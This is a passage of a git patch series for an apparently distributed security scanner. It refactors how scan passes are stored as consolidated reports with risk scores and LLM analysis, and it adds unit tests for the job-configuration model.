@@ def analyze_job( "job_id": job_id, } - # Save analysis to R1FS and store in pass_history + # Save analysis to R1FS and store in pass_reports analysis_cid = None - pass_history = job_specs.get("pass_history", []) + pass_reports = job_specs.get("pass_reports", []) current_pass = job_specs.get("job_pass", 1) try: analysis_cid = self.r1fs.add_json(analysis_result, show_logs=False) if analysis_cid: - # Store in pass_history (find the latest completed pass) - if pass_history: + # Store in pass_reports (find the latest completed pass) + if pass_reports: # Update the latest pass entry with analysis CID - pass_history[-1]["llm_analysis_cid"] = analysis_cid + pass_reports[-1]["llm_analysis_cid"] = analysis_cid else: - # No pass_history yet - create one + # No pass_reports yet - create one pass_date_started = self._get_timeline_date(job_specs, "pass_started") or self._get_timeline_date(job_specs, "created") pass_date_completed = self.time() - pass_history.append({ + pass_reports.append({ "pass_nr": current_pass, "date_started": pass_date_started, "date_completed": pass_date_completed, @@ -2351,13 +2399,13 @@ def analyze_job( "reports": {addr: w.get("report_cid") for addr, w in workers.items()}, "llm_analysis_cid": analysis_cid, }) - job_specs["pass_history"] = pass_history + job_specs["pass_reports"] = pass_reports self._emit_timeline_event( job_specs, "llm_analysis", f"Manual LLM analysis completed", actor_type="user", - meta={"analysis_cid": analysis_cid, "pass_nr": pass_history[-1].get("pass_nr") if pass_history else current_pass} + meta={"analysis_cid": analysis_cid, "pass_nr": pass_reports[-1].get("pass_nr") if pass_reports else current_pass} ) self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=job_specs) self.P(f"Manual LLM analysis saved for job {job_id}, CID: {analysis_cid}") @@ -2368,7 +2416,7 @@ def analyze_job( "job_id": job_id, "target": target, "num_workers": len(workers), - "pass_nr": pass_history[-1].get("pass_nr") if pass_history else current_pass, + "pass_nr": pass_reports[-1].get("pass_nr") if pass_reports else current_pass, "analysis_type": analysis_type, "analysis": analysis_result, "analysis_cid": analysis_cid, @@ -2415,27 +2463,27 @@ def get_analysis(self, job_id: str = "", cid: str = "", pass_nr: int = None): if not job_specs: return {"error": "Job not found", "job_id": job_id} - # Look for analysis in pass_history - pass_history = job_specs.get("pass_history", []) + # Look for analysis in pass_reports + pass_reports = job_specs.get("pass_reports", []) job_status = job_specs.get("job_status", "RUNNING") - if not pass_history: + if not pass_reports: if job_status == "RUNNING": return {"error": "Job still running, no passes completed yet", "job_id": job_id, "job_status": job_status} - return {"error": "No pass history available for this job", "job_id": job_id, "job_status": job_status} + return {"error": "No pass reports available for this job", "job_id": job_id, "job_status": job_status} # Find the requested pass (or latest if not specified) target_pass = None if pass_nr is not None: - for entry in pass_history: + for entry in pass_reports: if entry.get("pass_nr") == pass_nr: target_pass = entry break if not target_pass: - return {"error": f"Pass {pass_nr} not found in history", "job_id": job_id, "available_passes": [e.get("pass_nr") for e in pass_history]} + return {"error": f"Pass {pass_nr} not found in history", "job_id": job_id, "available_passes": [e.get("pass_nr") for e in pass_reports]} else: # Get the latest pass - target_pass = pass_history[-1] + target_pass = pass_reports[-1] analysis_cid = target_pass.get("llm_analysis_cid") if not analysis_cid: @@ -2457,7 +2505,7 @@ def get_analysis(self, job_id: str = "", cid: str = "", pass_nr: int = None): "cid": analysis_cid, "target": job_specs.get("target"), "num_workers": len(job_specs.get("workers", {})), - "total_passes": len(pass_history), + "total_passes": len(pass_reports), "analysis": analysis, } except Exception as e: diff --git a/extensions/business/cybersec/red_mesh/redmesh_llm_agent_mixin.py b/extensions/business/cybersec/red_mesh/redmesh_llm_agent_mixin.py index 1085dfa1..1500d085 100644 --- a/extensions/business/cybersec/red_mesh/redmesh_llm_agent_mixin.py +++ b/extensions/business/cybersec/red_mesh/redmesh_llm_agent_mixin.py @@ -276,9 +276,9 @@ def _run_aggregated_llm_analysis( try: analysis_cid = self.r1fs.add_json(llm_analysis, show_logs=False) if analysis_cid: - # Always store in pass_history for consistency (both SINGLEPASS and CONTINUOUS) - pass_history = job_specs.get("pass_history", []) - for entry in pass_history: + # Always store in pass_reports for consistency (both SINGLEPASS and CONTINUOUS) + pass_reports = job_specs.get("pass_reports", []) + for entry in pass_reports: if entry.get("pass_nr") == pass_nr: entry["llm_analysis_cid"] = analysis_cid break @@ -371,9 +371,9 @@ def _run_quick_summary_analysis( try: summary_cid = self.r1fs.add_json(analysis_result, show_logs=False) if summary_cid: - # Store in pass_history - pass_history = job_specs.get("pass_history", []) - for entry in pass_history: + # Store in pass_reports + pass_reports = job_specs.get("pass_reports", []) + for entry in pass_reports: if entry.get("pass_nr") == pass_nr: entry["quick_summary_cid"] = summary_cid break diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index 94227fb6..6c82b60e 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -2336,6 +2336,238 @@ def close(self): pass self.assertEqual(result.get("title"), "Directory listing for /") +class TestPhase1ConfigCID(unittest.TestCase): + """Phase 1: Job Config CID — extract static config from CStore to R1FS.""" + + def test_config_cid_roundtrip(self): + """JobConfig.from_dict(config.to_dict()) preserves all fields.""" + from extensions.business.cybersec.red_mesh.models import JobConfig + + original = JobConfig( + target="example.com", + start_port=1, + end_port=1024, + exceptions=[22, 80], + distribution_strategy="SLICE", + port_order="SHUFFLE", + nr_local_workers=4, + enabled_features=["http_headers", "sql_injection"], + excluded_features=["brute_force"], + run_mode="SINGLEPASS", + scan_min_delay=0.1, + scan_max_delay=0.5, + ics_safe_mode=True, + redact_credentials=False, + scanner_identity="test-scanner", + scanner_user_agent="RedMesh/1.0", + task_name="Test Scan", + task_description="A test scan", + monitor_interval=300, + selected_peers=["peer1", "peer2"], + created_by_name="tester", + created_by_id="user-123", + authorized=True, + ) + d = original.to_dict() + restored = JobConfig.from_dict(d) + self.assertEqual(original, restored) + + def test_config_to_dict_has_required_fields(self): + """to_dict() includes target, start_port, end_port, run_mode.""" + from extensions.business.cybersec.red_mesh.models import JobConfig + + config = JobConfig( + target="10.0.0.1", + start_port=1, + end_port=65535, + exceptions=[], + distribution_strategy="SLICE", + port_order="SEQUENTIAL", + nr_local_workers=2, + enabled_features=[], + excluded_features=[], + run_mode="CONTINUOUS_MONITORING", + ) + d = config.to_dict() + self.assertEqual(d["target"], "10.0.0.1") + self.assertEqual(d["start_port"], 1) + self.assertEqual(d["end_port"], 65535) + self.assertEqual(d["run_mode"], "CONTINUOUS_MONITORING") + + def test_config_strip_none(self): + """_strip_none removes None values from serialized config.""" + from extensions.business.cybersec.red_mesh.models import JobConfig + + config = JobConfig( + target="example.com", + start_port=1, + end_port=100, + exceptions=[], + distribution_strategy="SLICE", + port_order="SEQUENTIAL", + nr_local_workers=2, + enabled_features=[], + excluded_features=[], + run_mode="SINGLEPASS", + selected_peers=None, + ) + d = config.to_dict() + self.assertNotIn("selected_peers", d) + + @classmethod + def _mock_plugin_modules(cls): + """Install mock modules so pentester_api_01 can be imported without naeural_core.""" + if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: + return # Already imported successfully + + # Build a real class to avoid metaclass conflicts + def endpoint_decorator(*args, **kwargs): + if args and callable(args[0]): + return args[0] + def wrapper(fn): + return fn + return wrapper + + class FakeBasePlugin: + CONFIG = {'VALIDATION_RULES': {}} + endpoint = staticmethod(endpoint_decorator) + + mock_module = MagicMock() + mock_module.FastApiWebAppPlugin = FakeBasePlugin + + modules_to_mock = { + 'naeural_core': MagicMock(), + 'naeural_core.business': MagicMock(), + 'naeural_core.business.default': MagicMock(), + 'naeural_core.business.default.web_app': MagicMock(), + 'naeural_core.business.default.web_app.fast_api_web_app': mock_module, + } + for mod_name, mod in modules_to_mock.items(): + sys.modules.setdefault(mod_name, mod) + + @classmethod + def _build_mock_plugin(cls, job_id="test-job", time_val=1000000.0, r1fs_cid="QmFakeConfigCID"): + """Build a mock plugin instance for launch_test testing.""" + plugin = MagicMock() + plugin.ee_addr = "node-1" + plugin.ee_id = "node-alias-1" + plugin.cfg_instance_id = "test-instance" + plugin.cfg_port_order = "SEQUENTIAL" + plugin.cfg_excluded_features = [] + plugin.cfg_distribution_strategy = "SLICE" + plugin.cfg_run_mode = "SINGLEPASS" + plugin.cfg_monitor_interval = 60 + plugin.cfg_scanner_identity = "" + plugin.cfg_scanner_user_agent = "" + plugin.cfg_nr_local_workers = 2 + plugin.cfg_llm_agent_api_enabled = False + plugin.cfg_ics_safe_mode = False + plugin.cfg_scan_min_rnd_delay = 0 + plugin.cfg_scan_max_rnd_delay = 0 + plugin.uuid.return_value = job_id + plugin.time.return_value = time_val + plugin.json_dumps.return_value = "{}" + plugin.r1fs = MagicMock() + plugin.r1fs.add_json.return_value = r1fs_cid + plugin.chainstore_hset = MagicMock() + plugin.chainstore_hgetall.return_value = {} + plugin.chainstore_peers = ["node-1"] + plugin.cfg_chainstore_peers = ["node-1"] + return plugin + + @classmethod + def _extract_job_specs(cls, plugin, job_id): + """Extract the job_specs dict from chainstore_hset calls.""" + for call in plugin.chainstore_hset.call_args_list: + kwargs = call[1] if call[1] else {} + if kwargs.get("key") == job_id: + return kwargs["value"] + return None + + def _launch(self, plugin, **kwargs): + """Call launch_test with mocked base modules.""" + self._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + defaults = dict(target="example.com", start_port=1, end_port=1024, exceptions="", authorized=True) + defaults.update(kwargs) + return PentesterApi01Plugin.launch_test(plugin, **defaults) + + def test_launch_builds_job_config_and_stores_cid(self): + """launch_test() builds JobConfig, saves to R1FS, stores job_config_cid in CStore.""" + plugin = self._build_mock_plugin(job_id="test-job-1", r1fs_cid="QmFakeConfigCID123") + self._launch(plugin) + + # Verify r1fs.add_json was called with a JobConfig dict + self.assertTrue(plugin.r1fs.add_json.called) + config_dict = plugin.r1fs.add_json.call_args_list[0][0][0] + self.assertEqual(config_dict["target"], "example.com") + self.assertEqual(config_dict["start_port"], 1) + self.assertEqual(config_dict["end_port"], 1024) + self.assertIn("run_mode", config_dict) + + # Verify CStore has job_config_cid + job_specs = self._extract_job_specs(plugin, "test-job-1") + self.assertIsNotNone(job_specs, "Expected chainstore_hset call for job_specs") + self.assertEqual(job_specs["job_config_cid"], "QmFakeConfigCID123") + + def test_cstore_has_no_static_config(self): + """After launch, CStore object has no exceptions, distribution_strategy, etc.""" + plugin = self._build_mock_plugin(job_id="test-job-2") + self._launch(plugin) + + job_specs = self._extract_job_specs(plugin, "test-job-2") + self.assertIsNotNone(job_specs) + + # These static config fields must NOT be in CStore + removed_fields = [ + "exceptions", "distribution_strategy", "enabled_features", + "excluded_features", "scan_min_delay", "scan_max_delay", + "ics_safe_mode", "redact_credentials", "scanner_identity", + "scanner_user_agent", "nr_local_workers", "task_description", + "monitor_interval", "selected_peers", "created_by_name", + "created_by_id", "authorized", "port_order", + ] + for field in removed_fields: + self.assertNotIn(field, job_specs, f"CStore should not contain '{field}'") + + def test_cstore_has_listing_fields(self): + """CStore has target, task_name, start_port, end_port, date_created.""" + plugin = self._build_mock_plugin(job_id="test-job-3", time_val=1700000000.0) + self._launch(plugin, start_port=80, end_port=443, task_name="Web Scan") + + job_specs = self._extract_job_specs(plugin, "test-job-3") + self.assertIsNotNone(job_specs) + + self.assertEqual(job_specs["target"], "example.com") + self.assertEqual(job_specs["task_name"], "Web Scan") + self.assertEqual(job_specs["start_port"], 80) + self.assertEqual(job_specs["end_port"], 443) + self.assertEqual(job_specs["date_created"], 1700000000.0) + self.assertEqual(job_specs["risk_score"], 0) + + def test_pass_reports_initialized_empty(self): + """CStore has pass_reports: [] (no pass_history).""" + plugin = self._build_mock_plugin(job_id="test-job-4") + self._launch(plugin, start_port=1, end_port=100) + + job_specs = self._extract_job_specs(plugin, "test-job-4") + self.assertIsNotNone(job_specs) + + self.assertIn("pass_reports", job_specs) + self.assertEqual(job_specs["pass_reports"], []) + self.assertNotIn("pass_history", job_specs) + + def test_launch_fails_if_r1fs_unavailable(self): + """If R1FS fails to store config, launch aborts with error.""" + plugin = self._build_mock_plugin(job_id="test-job-5", r1fs_cid=None) + result = self._launch(plugin, start_port=1, end_port=100) + + self.assertIn("error", result) + # CStore should NOT have been written with the job + job_specs = self._extract_job_specs(plugin, "test-job-5") + self.assertIsNone(job_specs) + + class VerboseResult(unittest.TextTestResult): def addSuccess(self, test): super().addSuccess(test) @@ -2349,4 +2581,5 @@ def addSuccess(self, test): suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestCveDatabase)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestCorrelationEngine)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestScannerEnhancements)) + suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase1ConfigCID)) runner.run(suite) From f7d913bef4fdb52544e27b887424afb5c47d5796 Mon Sep 17 00:00:00 2001 From: toderian Date: Sat, 7 Mar 2026 20:32:22 +0000 Subject: [PATCH 10/42] feat: single aggregation + consolidated pass report (phase 2) --- .../cybersec/red_mesh/pentester_api_01.py | 391 +++++++++++---- .../red_mesh/redmesh_llm_agent_mixin.py | 165 ++----- .../cybersec/red_mesh/test_redmesh.py | 461 ++++++++++++++++++ 3 files changed, 807 insertions(+), 210 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 813b9338..c495094b 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -38,7 +38,7 @@ from naeural_core.business.default.web_app.fast_api_web_app import FastApiWebAppPlugin as BasePlugin from .redmesh_utils import PentestLocalWorker # Import PentestJob from separate module from .redmesh_llm_agent_mixin import _RedMeshLlmAgentMixin -from .models import JobConfig +from .models import JobConfig, PassReport, PassReportRef, WorkerReportMeta, AggregatedScanData from .constants import ( FEATURE_CATALOG, LLM_ANALYSIS_SECURITY_ASSESSMENT, @@ -1333,6 +1333,130 @@ def process_findings(findings_list): }, } + def _compute_risk_and_findings(self, aggregated_report): + """ + Compute risk score AND extract flat findings in a single walk. + + Extends _compute_risk_score to also produce a flat list of enriched + findings from the nested service_info/web_tests_info/correlation structure. + + Parameters + ---------- + aggregated_report : dict + Aggregated report with service_info, web_tests_info, etc. + + Returns + ------- + tuple[dict, list] + (risk_result, flat_findings) where risk_result is {"score": int, "breakdown": dict} + and flat_findings is a list of enriched finding dicts. + """ + import hashlib + import math + + findings_score = 0.0 + finding_counts = {"CRITICAL": 0, "HIGH": 0, "MEDIUM": 0, "LOW": 0, "INFO": 0} + cred_count = 0 + flat_findings = [] + + port_protocols = aggregated_report.get("port_protocols") or {} + + def process_findings(findings_list, port, probe_name, category): + nonlocal findings_score, cred_count + for finding in findings_list: + if not isinstance(finding, dict): + continue + severity = finding.get("severity", "INFO").upper() + confidence = finding.get("confidence", "firm").lower() + weight = RISK_SEVERITY_WEIGHTS.get(severity, 0) + multiplier = RISK_CONFIDENCE_MULTIPLIERS.get(confidence, 0.5) + findings_score += weight * multiplier + if severity in finding_counts: + finding_counts[severity] += 1 + title = finding.get("title", "") + if isinstance(title, str) and "default credential accepted" in title.lower(): + cred_count += 1 + + # Build deterministic finding_id + canon_title = (finding.get("title") or "").lower().strip() + cwe = finding.get("cwe_id", "") + id_input = f"{port}:{probe_name}:{cwe}:{canon_title}" + finding_id = hashlib.sha256(id_input.encode()).hexdigest()[:16] + + protocol = port_protocols.get(str(port), "unknown") + + flat_findings.append({ + "finding_id": finding_id, + **{k: v for k, v in finding.items()}, + "port": port, + "protocol": protocol, + "probe": probe_name, + "category": category, + }) + + def parse_port(port_key): + """Extract integer port from keys like '80/tcp' or '80'.""" + try: + return int(str(port_key).split("/")[0]) + except (ValueError, IndexError): + return 0 + + # Walk service_info + service_info = aggregated_report.get("service_info", {}) + for port_key, probes in service_info.items(): + if not isinstance(probes, dict): + continue + port = parse_port(port_key) + for probe_name, probe_data in probes.items(): + if not isinstance(probe_data, dict): + continue + process_findings(probe_data.get("findings", []), port, probe_name, "service") + + # Walk web_tests_info + web_tests_info = aggregated_report.get("web_tests_info", {}) + for port_key, tests in web_tests_info.items(): + if not isinstance(tests, dict): + continue + port = parse_port(port_key) + for test_name, test_data in tests.items(): + if not isinstance(test_data, dict): + continue + process_findings(test_data.get("findings", []), port, test_name, "web") + + # Walk correlation_findings + correlation_findings = aggregated_report.get("correlation_findings", []) + if isinstance(correlation_findings, list): + process_findings(correlation_findings, 0, "_correlation", "correlation") + + # B. Open ports — diminishing returns + open_ports = aggregated_report.get("open_ports", []) + nr_ports = len(open_ports) if isinstance(open_ports, list) else 0 + open_ports_score = 15.0 * (1.0 - math.exp(-nr_ports / 8.0)) + + # C. Attack surface breadth + nr_protocols = len(set(port_protocols.values())) if isinstance(port_protocols, dict) else 0 + breadth_score = 10.0 * (1.0 - math.exp(-nr_protocols / 4.0)) + + # D. Default credentials penalty + credentials_penalty = min(cred_count * RISK_CRED_PENALTY_PER, RISK_CRED_PENALTY_CAP) + + raw_total = findings_score + open_ports_score + breadth_score + credentials_penalty + score = int(round(100.0 * (2.0 / (1.0 + math.exp(-RISK_SIGMOID_K * raw_total)) - 1.0))) + score = max(0, min(100, score)) + + risk_result = { + "score": score, + "breakdown": { + "findings_score": round(findings_score, 1), + "open_ports_score": round(open_ports_score, 1), + "breadth_score": round(breadth_score, 1), + "credentials_penalty": credentials_penalty, + "raw_total": round(raw_total, 1), + "finding_counts": finding_counts, + }, + } + return risk_result, flat_findings + def _maybe_finalize_pass(self): """ Launcher finalizes completed passes and orchestrates continuous monitoring. @@ -1385,26 +1509,75 @@ def _maybe_finalize_pass(self): # ═══════════════════════════════════════════════════ pass_date_started = self._get_timeline_date(job_specs, "pass_started") or self._get_timeline_date(job_specs, "created") pass_date_completed = self.time() - pass_record = ({ - "pass_nr": job_pass, - "date_started": pass_date_started, - "date_completed": pass_date_completed, - "duration": round(pass_date_completed - pass_date_started, 2) if pass_date_started else None, - "reports": {addr: w.get("report_cid") for addr, w in workers.items()} - }) - now_ts = self.time() + now_ts = pass_date_completed + + # 1. AGGREGATE ONCE — fetch node reports from R1FS and merge + node_reports = self._collect_node_reports(workers) + aggregated = self._get_aggregated_report(node_reports) if node_reports else {} - # Compute risk score for this pass - aggregated_for_score = self._collect_aggregated_report(workers) + # 2. RISK SCORE + FLAT FINDINGS (single walk) risk_score = 0 - if aggregated_for_score: - risk_result = self._compute_risk_score(aggregated_for_score) - pass_record["risk_score"] = risk_result["score"] - pass_record["risk_breakdown"] = risk_result["breakdown"] + flat_findings = [] + risk_result = None + if aggregated: + risk_result, flat_findings = self._compute_risk_and_findings(aggregated) risk_score = risk_result["score"] job_specs["risk_score"] = risk_score - self.P(f"Risk score for job {job_id} pass {job_pass}: {risk_result['score']}/100") + self.P(f"Risk score for job {job_id} pass {job_pass}: {risk_score}/100") + # 3. LLM ANALYSIS (receives pre-aggregated data, no re-fetch) + job_config = self._get_job_config(job_specs) + llm_text = None + summary_text = None + if self.cfg_llm_agent_api_enabled and aggregated: + llm_text = self._run_aggregated_llm_analysis(job_id, aggregated, job_config) + summary_text = self._run_quick_summary_analysis(job_id, aggregated, job_config) + + # 4. LLM FAILURE HANDLING + llm_failed = True if (self.cfg_llm_agent_api_enabled and (llm_text is None or summary_text is None)) else None + if llm_failed: + self._emit_timeline_event( + job_specs, "llm_failed", + f"LLM analysis unavailable for pass {job_pass}", + meta={"pass_nr": job_pass} + ) + + # 5. BUILD WORKER METADATA from already-fetched node_reports + worker_metas = {} + for addr, report in node_reports.items(): + nr_findings = 0 + for probes in (report.get("service_info") or {}).values(): + if isinstance(probes, dict): + for probe_data in probes.values(): + if isinstance(probe_data, dict): + nr_findings += len(probe_data.get("findings", [])) + for tests in (report.get("web_tests_info") or {}).values(): + if isinstance(tests, dict): + for test_data in tests.values(): + if isinstance(test_data, dict): + nr_findings += len(test_data.get("findings", [])) + nr_findings += len(report.get("correlation_findings") or []) + + worker_metas[addr] = WorkerReportMeta( + report_cid=workers[addr].get("report_cid", ""), + start_port=report.get("start_port", 0), + end_port=report.get("end_port", 0), + ports_scanned=report.get("ports_scanned", 0), + open_ports=report.get("open_ports", []), + nr_findings=nr_findings, + ).to_dict() + + # 6. STORE aggregated report as separate CID + aggregated_report_cid = None + if aggregated: + aggregated_data = AggregatedScanData.from_dict(aggregated).to_dict() + aggregated_report_cid = self.r1fs.add_json(aggregated_data, show_logs=False) + if not aggregated_report_cid: + self.P(f"Failed to store aggregated report for pass {job_pass} in R1FS", color='r') + continue # skip pass finalization, retry next loop + + # 7. ATTESTATION (best-effort, must not block finalization) + redmesh_test_attestation = None should_submit_attestation = True if run_mode == "CONTINUOUS_MONITORING": last_attestation_at = job_specs.get("last_attestation_at") @@ -1419,7 +1592,6 @@ def _maybe_finalize_pass(self): should_submit_attestation = False if should_submit_attestation: - # Best-effort on-chain summary; failures must not block pass finalization. try: redmesh_test_attestation = self._submit_redmesh_test_attestation( job_id=job_id, @@ -1428,7 +1600,6 @@ def _maybe_finalize_pass(self): vulnerability_score=risk_score ) if redmesh_test_attestation is not None: - pass_record["redmesh_test_attestation"] = redmesh_test_attestation job_specs["last_attestation_at"] = now_ts except Exception as exc: import traceback @@ -1440,7 +1611,31 @@ def _maybe_finalize_pass(self): color='r' ) - pass_reports.append(pass_record) + # 8. COMPOSE PassReport + pass_report = PassReport( + pass_nr=job_pass, + date_started=pass_date_started, + date_completed=pass_date_completed, + duration=round(pass_date_completed - pass_date_started, 2) if pass_date_started else 0, + aggregated_report_cid=aggregated_report_cid or "", + worker_reports=worker_metas, + risk_score=risk_score, + risk_breakdown=risk_result["breakdown"] if risk_result else None, + llm_analysis=llm_text, + quick_summary=summary_text, + llm_failed=llm_failed, + findings=flat_findings if flat_findings else None, + redmesh_test_attestation=redmesh_test_attestation, + ) + + # 9. STORE PassReport as single CID + pass_report_cid = self.r1fs.add_json(pass_report.to_dict(), show_logs=False) + if not pass_report_cid: + self.P(f"Failed to store pass report for pass {job_pass} in R1FS", color='r') + continue # skip — don't append partial state to CStore + + # 10. UPDATE CStore with lightweight PassReportRef + pass_reports.append(PassReportRef(job_pass, pass_report_cid, risk_score).to_dict()) # Handle SINGLEPASS - set FINALIZED and exit (no scheduling) if run_mode == "SINGLEPASS": @@ -1449,12 +1644,6 @@ def _maybe_finalize_pass(self): job_specs["duration"] = round(self.time() - created_at, 2) self._emit_timeline_event(job_specs, "scan_completed", "Scan completed") self.P(f"[SINGLEPASS] Job {job_id} complete. Status set to FINALIZED.") - - # Run LLM auto-analysis on aggregated report (launcher only) - if self.cfg_llm_agent_api_enabled: - self._run_aggregated_llm_analysis(job_id, job_specs, workers, pass_nr=job_pass) - self._run_quick_summary_analysis(job_id, job_specs, workers, pass_nr=job_pass) - self._emit_timeline_event(job_specs, "finalized", "Job finalized") self.chainstore_hset(hkey=self.cfg_instance_id, key=job_key, value=job_specs) continue @@ -1468,24 +1657,12 @@ def _maybe_finalize_pass(self): job_specs["duration"] = round(self.time() - created_at, 2) self._emit_timeline_event(job_specs, "scan_completed", f"Scan completed (pass {job_pass})") self.P(f"[CONTINUOUS] Pass {job_pass} complete for job {job_id}. Status set to STOPPED (soft stop was scheduled)") - - # Run LLM auto-analysis on aggregated report (launcher only) - if self.cfg_llm_agent_api_enabled: - self._run_aggregated_llm_analysis(job_id, job_specs, workers, pass_nr=job_pass) - self._run_quick_summary_analysis(job_id, job_specs, workers, pass_nr=job_pass) - self._emit_timeline_event(job_specs, "stopped", "Job stopped") self.chainstore_hset(hkey=self.cfg_instance_id, key=job_key, value=job_specs) continue # end if - # Run LLM auto-analysis for this pass (launcher only) - if self.cfg_llm_agent_api_enabled: - self._run_aggregated_llm_analysis(job_id, job_specs, workers, pass_nr=job_pass) - self._run_quick_summary_analysis(job_id, job_specs, workers, pass_nr=job_pass) - # Schedule next pass - job_config = self._get_job_config(job_specs) interval = job_config.get("monitor_interval", self.cfg_monitor_interval) jitter = random.uniform(0, self.cfg_monitor_jitter) job_specs["next_pass_at"] = self.time() + interval + jitter @@ -2160,15 +2337,23 @@ def purge_job(self, job_id: str): if cid: cids.add(cid) - # Collect CIDs from pass reports - for entry in job_specs.get("pass_reports", []): - for addr, cid in entry.get("reports", {}).items(): - if cid: - cids.add(cid) - for key in ("llm_analysis_cid", "quick_summary_cid", "report_cid"): - cid = entry.get(key) - if cid: - cids.add(cid) + # Collect CIDs from pass reports (PassReportRef entries) + for ref in job_specs.get("pass_reports", []): + report_cid = ref.get("report_cid") + if report_cid: + cids.add(report_cid) + # Fetch PassReport to find nested CIDs (aggregated_report_cid, worker report CIDs) + try: + pass_data = self.r1fs.get_json(report_cid) + if isinstance(pass_data, dict): + agg_cid = pass_data.get("aggregated_report_cid") + if agg_cid: + cids.add(agg_cid) + for wr in (pass_data.get("worker_reports") or {}).values(): + if isinstance(wr, dict) and wr.get("report_cid"): + cids.add(wr["report_cid"]) + except Exception: + pass # best-effort — still delete what we can # Collect job config CID config_cid = job_specs.get("job_config_cid") @@ -2337,15 +2522,21 @@ def analyze_job( return {"error": "Job not yet complete, some workers still running", "job_id": job_id} # Collect and aggregate reports from all workers - aggregated_report = self._collect_aggregated_report(workers) + node_reports = self._collect_node_reports(workers) + aggregated_report = self._get_aggregated_report(node_reports) if node_reports else {} if not aggregated_report: return {"error": "No report data available for this job", "job_id": job_id} - # Add job metadata to report for context target = job_specs.get("target", "unknown") job_config = self._get_job_config(job_specs) - aggregated_report["_job_metadata"] = { + + # Call LLM Agent API + analysis_type = analysis_type or self.cfg_llm_auto_analysis_type + + # Add job metadata to report for context + report_with_meta = dict(aggregated_report) + report_with_meta["_job_metadata"] = { "job_id": job_id, "target": target, "num_workers": len(workers), @@ -2355,14 +2546,11 @@ def analyze_job( "enabled_features": job_config.get("enabled_features", []), } - # Call LLM Agent API - analysis_type = analysis_type or self.cfg_llm_auto_analysis_type - analysis_result = self._call_llm_agent_api( endpoint="/analyze_scan", method="POST", payload={ - "scan_results": aggregated_report, + "scan_results": report_with_meta, "analysis_type": analysis_type, "focus_areas": focus_areas, } @@ -2375,51 +2563,45 @@ def analyze_job( "job_id": job_id, } - # Save analysis to R1FS and store in pass_reports - analysis_cid = None + # Extract LLM text from result + if isinstance(analysis_result, dict): + llm_text = analysis_result.get("analysis", analysis_result.get("markdown", str(analysis_result))) + else: + llm_text = str(analysis_result) + + # Update the latest pass report with manual analysis pass_reports = job_specs.get("pass_reports", []) current_pass = job_specs.get("job_pass", 1) - try: - analysis_cid = self.r1fs.add_json(analysis_result, show_logs=False) - if analysis_cid: - # Store in pass_reports (find the latest completed pass) - if pass_reports: - # Update the latest pass entry with analysis CID - pass_reports[-1]["llm_analysis_cid"] = analysis_cid - else: - # No pass_reports yet - create one - pass_date_started = self._get_timeline_date(job_specs, "pass_started") or self._get_timeline_date(job_specs, "created") - pass_date_completed = self.time() - pass_reports.append({ - "pass_nr": current_pass, - "date_started": pass_date_started, - "date_completed": pass_date_completed, - "duration": round(pass_date_completed - pass_date_started, 2) if pass_date_started else None, - "reports": {addr: w.get("report_cid") for addr, w in workers.items()}, - "llm_analysis_cid": analysis_cid, - }) - job_specs["pass_reports"] = pass_reports - - self._emit_timeline_event( - job_specs, "llm_analysis", - f"Manual LLM analysis completed", - actor_type="user", - meta={"analysis_cid": analysis_cid, "pass_nr": pass_reports[-1].get("pass_nr") if pass_reports else current_pass} - ) - self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=job_specs) - self.P(f"Manual LLM analysis saved for job {job_id}, CID: {analysis_cid}") - except Exception as e: - self.P(f"Failed to save analysis to R1FS: {e}", color='y') + if pass_reports: + # Fetch latest pass report from R1FS, add LLM analysis, re-store + latest_ref = pass_reports[-1] + try: + pass_data = self.r1fs.get_json(latest_ref["report_cid"]) + if pass_data: + pass_data["llm_analysis"] = llm_text + pass_data["llm_failed"] = None # clear failure flag + updated_cid = self.r1fs.add_json(pass_data, show_logs=False) + if updated_cid: + latest_ref["report_cid"] = updated_cid + self._emit_timeline_event( + job_specs, "llm_analysis", + f"Manual LLM analysis completed", + actor_type="user", + meta={"report_cid": updated_cid, "pass_nr": latest_ref.get("pass_nr", current_pass)} + ) + self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=job_specs) + self.P(f"Manual LLM analysis saved for job {job_id}, updated pass report CID: {updated_cid}") + except Exception as e: + self.P(f"Failed to update pass report with analysis: {e}", color='y') return { "job_id": job_id, "target": target, "num_workers": len(workers), - "pass_nr": pass_reports[-1].get("pass_nr") if pass_reports else current_pass, + "pass_nr": pass_reports[-1].get("pass_nr", current_pass) if pass_reports else current_pass, "analysis_type": analysis_type, "analysis": analysis_result, - "analysis_cid": analysis_cid, } @@ -2485,31 +2667,44 @@ def get_analysis(self, job_id: str = "", cid: str = "", pass_nr: int = None): # Get the latest pass target_pass = pass_reports[-1] - analysis_cid = target_pass.get("llm_analysis_cid") - if not analysis_cid: + # Fetch the PassReport from R1FS to get inline LLM analysis + report_cid = target_pass.get("report_cid") + if not report_cid: return { - "error": "No LLM analysis available for this pass", + "error": "No pass report CID available for this pass", "job_id": job_id, "pass_nr": target_pass.get("pass_nr"), "job_status": job_status } try: - analysis = self.r1fs.get_json(analysis_cid) - if analysis is None: - return {"error": "Analysis not found in R1FS", "cid": analysis_cid, "job_id": job_id} + pass_data = self.r1fs.get_json(report_cid) + if pass_data is None: + return {"error": "Pass report not found in R1FS", "cid": report_cid, "job_id": job_id} + + llm_analysis = pass_data.get("llm_analysis") + if not llm_analysis: + return { + "error": "No LLM analysis available for this pass", + "job_id": job_id, + "pass_nr": target_pass.get("pass_nr"), + "llm_failed": pass_data.get("llm_failed", False), + "job_status": job_status + } + return { "job_id": job_id, "pass_nr": 